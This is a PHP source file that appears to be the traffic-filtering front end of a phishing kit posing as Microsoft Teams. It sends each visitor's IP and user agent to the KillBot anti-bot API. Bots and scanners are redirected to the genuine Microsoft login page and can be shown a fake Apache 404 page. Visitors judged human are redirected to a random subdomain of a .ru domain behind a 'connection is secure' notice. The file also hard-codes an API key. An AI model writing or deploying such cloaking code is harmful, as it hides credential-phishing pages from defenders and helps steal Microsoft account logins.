apiKey = $api_key;
$this->config = $config;
}
private function getClientIP(): string {
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
}
$client = $_SERVER['HTTP_CLIENT_IP'] ?? '';
$forward = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? '';
$remote = $_SERVER['REMOTE_ADDR'] ?? '';
if (filter_var($client, FILTER_VALIDATE_IP)) {
return $client;
} elseif (filter_var($forward, FILTER_VALIDATE_IP)) {
return $forward;
} else {
return $remote;
}
}
public function show404Page(): void {
header("HTTP/1.0 404 Not Found");
$requestedPage = $_SERVER['REQUEST_URI'] ?? 'Unknown';
$requestedPageWithoutQueryString = parse_url($requestedPage, PHP_URL_PATH);
$serverName = $_SERVER['SERVER_NAME'] ?? 'Unknown';
echo << The requested URL $requestedPageWithoutQueryString was not found on this server.Not Found
Apache/2.4.57 (Debian) Server at $serverName Port 80
EOL;
die();
}
private function httpPost($url, $data): string {
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, 'KillBot.to Blocker-PHP');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
"X-API-Key: {$this->apiKey}",
"Content-Type: application/x-www-form-urlencoded"
]);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($response === false) {
throw new Exception("HTTP request failed with status $httpCode: " . curl_error($ch));
}
curl_close($ch);
return $response;
}
public function check(): array {
try {
$ip = $this->getClientIP();
$ua = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$response = $this->httpPost("https://api.killbot.to/check", ['ip' => $ip, 'ua' => $ua, 'config' => $this->config]);
$decodedResponse = json_decode($response, true);
if (json_last_error() !== JSON_ERROR_NONE) {
throw new Exception("JSON decode error: " . json_last_error_msg());
}
return $decodedResponse;
} catch (Exception $e) {
return ['success' => false, 'error' => $e->getMessage()];
}
}
}
// Set API key and configuration
$killBotApiKey = "a58795f6-9bf1-4080-b980-0ad21d8c3817"; // Replace with your KillBot API key
$killBotConfigName = "configoffice0989";
$Killbot = new KillBot($killBotApiKey, $killBotConfigName);
// Call the KillBot API to check the visitor
$check = $Killbot->check();
// Handle API failures
if (!$check["success"]) {
die("API Error: " . ($check["error"] ?? "An unknown error occurred."));
}
// Function to generate a random string with letters and numbers
function generateRandomString($length = 25) {
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, strlen($characters) - 1)];
}
return $randomString;
}
// Generate a random alphanumeric subdomain
$randomHash = generateRandomString(25);
// Define redirect URLs
$blockedRedirect = "https://login.microsoftonline.com/common/SAS/ProcessAuth"; // Redirect for bots
$allowedRedirect = "https://$randomHash.fictiougbo.ru/LrfdGrh7/"; // Redirect for humans
// Check if the user is blocked
if ($check["block"] === true) {
$redirectUrl = $blockedRedirect;
} else {
$redirectUrl = $allowedRedirect;
}
// Handle the redirection while preserving the URL hash
?>
Microsoft Teams
Checking if the site connection is secure